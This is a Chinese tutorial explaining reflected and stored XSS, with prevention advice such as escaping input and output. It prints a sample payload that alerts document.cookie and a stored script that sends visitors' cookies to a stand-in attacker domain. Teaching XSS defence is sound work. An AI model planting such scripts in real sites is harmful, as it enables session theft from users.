xss(Cross Site Scripting)
目录
xss 跨站脚本攻击
原理:
反射型XSS
存储型XSS
xss 跨站脚本攻击
原理:
恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会
执行,因此会达到恶意攻击用户的目的。那么XSS攻击最主要有如下分类:反射型、存储型、
及 DOM-based型。 反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。
反射型XSS
反射性XSS的原理是:反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个
包含恶意代码的URL。当受害者点击恶意链接url的时候,
恶意代码会直接在受害者的主机上的浏览器执行。
反射性XSS又可以叫做非持久性XSS 。
攻击者可以直接通过 URL (类似:[https://xx.com/xx?default=](https://link.jianshu.com/?t=https%3A%2F%2Fxx.com%2Fxx%3Fdefault%3D)<script>alert(document.cookie)</script>) 注入可执行的脚本代码。
及恶意链接
非持久型 XSS 漏洞攻击有以下几点特征:
(1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;
(2)攻击者需要诱骗点击;
(3)反馈率低,所以较难发现和响应修复;
(4)盗取用户敏感保密信息。
为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情:
(1)Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。(2)尽量不要从 URL,document.referrer,document.forms等这种 DOM API 中获取数据直接渲染。(3)尽量不要使用 eval/new Function()/document.write()/document.writeln()/window.setInterval()/window.setTimeout()/innerHTML/document.creteElement() 等可执行字符串的方法(4)如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。(5)前端渲染的时候对任何的字段都需要做 escape 转义编码。
存储型XSS
存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:
<script>window.open("www.gongji.com?param="+document.cookie)</script>如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问
该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,
然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。
因此存储型XSS的攻击步骤如下:
1. 攻击者将恶意代码提交到目标网站数据库中。
2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。
如何防范?
(1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。
(2)后端在输出给前端数据统一进行转义处理。
(3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。
参考博文: web安全之XSS攻击原理及防范 - 龙恩0707 - 博客园
xss(Cross Site Scripting)相关推荐
- XSS(Cross Site Scripting)攻击简介
环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析 在Intelli ...
- CHECKMARX安全漏洞检测防止XSS(Cross Site Scripting)跨站脚本攻击
CHECKMARX安全漏洞检测防止XSS跨站脚本攻击 总结CHECKMARX软件安全检测报告高危风险漏洞处理方式 高危警告内容 This can enable a Reflected Cross-Si ...
- Xss-reflected/stored跨站脚本分析(Cross site scripting)
Xss-reflected/stored跨站脚本分析(Cross site scripting) 基础知识 针对Dom - dochtml Url概念:协议+网址/dns+端口+路径 XSS原理:对U ...
- DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)
DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别 核心代码 官方提示 漏洞利用 Medium 级别 核心代码 官方提 ...
- Reflected Cross Site Scripting (XSS)
前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS), 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的 页 ...
- 【常见Web应用安全问题】---1、Cross Site Scripting
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...
- XSSF - Cross Site Scripting Framework
2019独角兽企业重金招聘Python工程师标准>>> 跨站脚本框架 (XSSF) 是一个设计用来快速发现网站存在XSS漏洞的一个安全工具集. 该项目是为了验证网站存在的XSS漏洞及 ...
- Cross Site Scripting DOM攻击jQuery append() 的处理方法
做安全红线使用Fortify工具进行扫描时,jquery append会报Cross Site Scripting DOM风险.解决该问题有两种办法. 一.原生dom方式 使用JavaScript原生 ...
- Python使用matplotlib可视化两个时间序列的交叉相关性图、交叉相关图显示了两个时间序列之间的滞后性(Cross Correlation plot)
Python使用matplotlib可视化两个时间序列的交叉相关性图.交叉相关图显示了两个时间序列之间的滞后性(Cross Correlation plot) 目录
最新文章
- 集合、泛型、增强for
- 圣才电子书怎么提取pdf_总结10个免费网站,助你解决PDF所有问题!
- 高并发编程-自定义简易的线程池(1),体会原理
- CV之API:利用Face++的人体识别接口,实现摄像头实时手势识别
- PaddlePaddle文本卷积实现情感分类和微博女友情绪监控AI
- VS2019 更新MSDN并创建快捷方式
- sql数据导入错误代码: 0x80004005_SQL入门第八关 项目实战
- 关于c语言循环的格式,关于for循环的格式
- web系统服务器登录不上去,宝塔面板严重错误登录不上怎么办
- 将Linux可执行文件变成可执行命令
- Emmagee和GT
- jad158g class文件转java文件
- 雪花,是冬天凝固的泪
- 听说大数据工资很高,是不是很难学?
- 想抵御“黑客”和“黑产” 智能+安全能不能有高招?
- OSChina 周日乱弹 —— 我女朋友都放到购物车里都没钱买
- 云模型量子粒子群算法
- DSP中断使用简明教程
- 实用最优化方法课后习题-第三章
- 双色球全功能版分析预测软件介绍
热门文章
- html 中设置只读的textarea控件颜色
- zabbix监控windows磁盘读写速度
- 香农公式说明了什么_香农公式和奈奎斯特准则在通信中的意义是什么?
- 开放式社交网络(OSN网络)之五:宏观隐私保护与反大数据
- javascript取随机数_js随机数生成方法和实例,生成[n,m]的随机整数,获取1-10之间的随机数...
- 狼羊白菜过河matlab编程,matlab绘制农夫过河动态图
- 互联网VS央企,谈一谈我的选择
- java notifyall wait_为什么notifyAll无法唤醒wait()?
- 综合技术--sql injection violation, part alway true condition not allow
- 企业如何进行商业模式设计?